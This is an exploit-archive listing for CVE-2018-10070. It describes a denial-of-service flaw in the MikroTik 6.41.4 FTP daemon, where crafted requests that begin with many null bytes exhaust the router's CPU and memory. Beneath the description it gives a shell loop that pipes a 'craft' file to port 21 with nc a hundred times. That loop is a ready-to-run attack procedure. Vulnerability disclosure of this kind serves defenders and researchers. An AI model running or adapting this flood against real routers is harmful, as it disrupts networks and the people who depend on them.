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MikroTik 6.41.4 Denial Of Service

MikroTik 6.41.4 Denial Of Service
Posted Apr 13, 2018
Authored by Hosein Askari

MikroTik version 6.41.4 ftp daemon denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
advisories | CVE-2018-10070
MD5 | e3b2dcdbb7ffa4eb4625fb0a60e4fdc6

MikroTik 6.41.4 Denial Of Service

Change Mirror Download
################
#Title: MikroTik 6.41.4 Denial of service FTP daemon crash
#CVE: CVE-2018-10070
#CWE: CWE-400
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: https://mikrotik.com/
#Version : 6.41.4 (Released 2018-Apr-05) | All Version
#Date: 13-05-2018
#Category: Network Appliance
#Description: A vulnerability in MikroTik Version 6.41.4 could allow an unauthenticated remote attacker to exhaust all available CPU and all available RAM by sending crafted FTP requests on port 21 that begins with many '\0' characters, #preventing the affected router from accepting new FTP connections. The router will reboot after 10 minutes, logging a "router was rebooted without proper shutdown" message.
#POC: https://vimeo.com/264461602
################

for i in `seq 1 100`

do
cat craft | nc -nv <MikroTik IP> 21 &
sleep 2
done


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